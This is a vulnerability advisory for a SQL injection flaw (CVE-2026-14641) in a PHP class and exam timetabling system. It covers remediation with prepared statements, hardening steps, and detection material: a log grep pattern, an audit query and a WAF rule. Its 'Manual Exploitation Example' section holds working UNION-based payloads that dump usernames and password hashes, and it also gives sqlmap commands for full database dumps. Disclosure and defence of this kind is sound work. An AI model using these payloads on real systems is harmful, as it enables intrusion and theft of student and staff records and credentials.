Executive Summary
CVE-2026-14641 is a high-severity SQL injection vulnerability in SourceCodester's Class and Exam Timetabling System 1.0. The edit_course.php file passes the ID GET parameter directly into a SQL query without sanitization, allowing any unauthenticated remote attacker to extract the full database contents. A public exploit proof-of-concept is available, making exploitation trivial.
CVSS Score: 7.3 (High)
Educational institutions deploying SourceCodester applications should audit all installations immediately — student records, faculty credentials, and timetable data are at risk.
Vulnerability Overview
Root Cause
The edit_course.php script constructs a raw SQL query using the user-supplied id parameter with no parameterized queries or escaping:
// Vulnerable pattern (simplified)
$id = $_GET['id'];
$query = "SELECT * FROM courses WHERE id = $id";
$result = mysqli_query($conn, $query);No authentication check precedes the query — the endpoint is accessible without logging in.
Attack Surface
| Component | Detail |
|---|---|
| Endpoint | GET /edit_course.php?id=<payload> |
| Auth Required | None — fully unauthenticated |
| Injection Type | UNION-based and error-based SQL injection |
| Database | MySQL (typical SourceCodester stack) |
| Impact | Full database dump including credentials, PII, timetable data |
| Public PoC | Yes — available on exploit databases |
Attack Chain
1. Attacker discovers exposed SourceCodester timetabling installation
2. Sends malformed GET request to /edit_course.php with SQL payload in id=
3. Application passes raw input into MySQL query
4. UNION SELECT extracts user table (usernames, password hashes)
5. Attacker cracks MD5 hashes offline (commonly used in SourceCodester apps)
6. Logs in as administrator — full application takeoverTechnical Details
Manual Exploitation Example
# Test for SQL injection
GET /edit_course.php?id=1'
# If error-based: MySQL error returned in response
# Determine column count
GET /edit_course.php?id=1 ORDER BY 5--
# Extract database version and current user
GET /edit_course.php?id=-1 UNION SELECT 1,version(),user(),4,5--
# Dump user credentials
GET /edit_course.php?id=-1 UNION SELECT 1,username,password,4,5 FROM users--
Automated Exploitation with sqlmap
# Full database enumeration (for authorized testing only)
sqlmap -u "http://target/edit_course.php?id=1" \
--dbs \
--batch \
--level=3 \
--risk=2
# Dump all tables from identified database
sqlmap -u "http://target/edit_course.php?id=1" \
-D timetabling_db \
--dump-all \
--batchTypical Schema Targets
SourceCodester Timetabling System commonly contains:
| Table | Sensitive Data |
|---|---|
users | Usernames, MD5 password hashes, email addresses |
courses | Course names, codes, scheduling data |
classes | Class assignments, faculty mapping |
subjects | Curriculum information |
Affected Versions
| Version | Status |
|---|---|
| Class and Exam Timetabling System 1.0 | Vulnerable |
| No patch available from vendor at time of disclosure | Monitor upstream |
SourceCodester is a PHP script marketplace — many of their products share similar vulnerable coding patterns. Check for SQL injection in all input parameters across the application.
Remediation
Fix: Use Prepared Statements (MySQLi)
// SECURE: Parameterized query
$stmt = $conn->prepare("SELECT * FROM courses WHERE id = ?");
$stmt->bind_param("i", $_GET['id']); // "i" = integer type enforcement
$stmt->execute();
$result = $stmt->get_result();Fix: Use PDO with Named Parameters
// SECURE: PDO prepared statement
$stmt = $pdo->prepare("SELECT * FROM courses WHERE id = :id");
$stmt->execute([':id' => (int) $_GET['id']]);
$rows = $stmt->fetchAll(PDO::FETCH_ASSOC);Additional Hardening
- Add authentication to all admin/edit endpoints —
edit_course.phpshould require a valid session - Enforce integer casting for numeric parameters:
$id = (int) $_GET['id']; - Remove or disable public-facing installations of development/demo codebases
- Enable MySQL's
sql_mode=STRICT_ALL_TABLESto reduce error information leakage
Detection
Identify SQL Injection Attempts in Web Logs
# Search for common SQLi patterns in access logs
grep -E "edit_course\.php.*id=.*(%27|'|UNION|SELECT|ORDER BY)" \
/var/log/apache2/access.logDatabase Audit Query
-- Check for recent unexpected queries (if MySQL slow query log is enabled)
SELECT * FROM mysql.slow_log
WHERE sql_text LIKE '%UNION%SELECT%'
ORDER BY start_time DESC
LIMIT 20;WAF Rule (ModSecurity)
SecRule ARGS:id "@detectSQLi" \
"id:2026146410,phase:2,deny,status:403,\
msg:'CVE-2026-14641 SQL Injection Attempt',\
logdata:'Matched injection pattern'"